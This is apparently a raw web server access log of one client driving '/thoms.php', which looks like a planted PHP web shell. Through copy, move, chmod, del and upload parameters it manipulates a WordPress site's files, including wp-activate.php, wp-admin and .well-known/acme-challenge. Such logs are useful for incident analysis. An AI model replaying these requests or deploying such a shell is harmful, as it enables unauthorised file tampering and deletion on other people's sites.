45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11453 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-signup.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11454 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18469 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p= HTTP/1.1" 200 12424 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11355 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11463 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11873 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11367 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18480 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22835 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11412 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11370 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:21 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22847 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Flicense.txt&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11403 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22908 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18665 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p= HTTP/1.1" 200 12442 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11871 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22908 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11372 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18656 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-activate.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:22 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18664 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22911 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22909 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11847 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11325 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11416 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18729 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p= HTTP/1.1" 200 12388 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-links-opml.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known%2Facme-challenge HTTP/1.1" 200 12078 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2F.well-known%2Facme-challenge" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?chmod=acme-challenge&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11537 "http://163.245.207.76:443/thoms.php?chmod=acme-challenge&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /booking-wise2.com.tw/.well-known HTTP/1.1" 301 795 "http://163.245.207.76:443/booking-wise2.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known%2Facme-challenge&p= HTTP/1.1" 200 12440 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known%2Facme-challenge&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known&upload= HTTP/1.1" 200 12191 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2F.well-known&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:23 -0400] "GET /booking-wise2.com.tw/.well-known/ HTTP/1.1" 200 784 "https://163.245.207.76:443/booking-wise2.com.tw/.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2F.well-known&settings=1 HTTP/1.1" 200 11934 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2F.well-known&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?del=acme-challenge&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 12600 "http://163.245.207.76:443/thoms.php?del=acme-challenge&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p= HTTP/1.1" 200 12443 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2F.well-known HTTP/1.1" 200 11415 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fupgrade HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&finish=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=booking-wise2.com.tw HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fcgi-bin HTTP/1.1" 200 11371 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18851 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&finish=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 18849 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&finish=1&move=1&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11465 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fwp-content HTTP/1.1" 200 11483 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fwp-includes HTTP/1.1" 200 11889 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
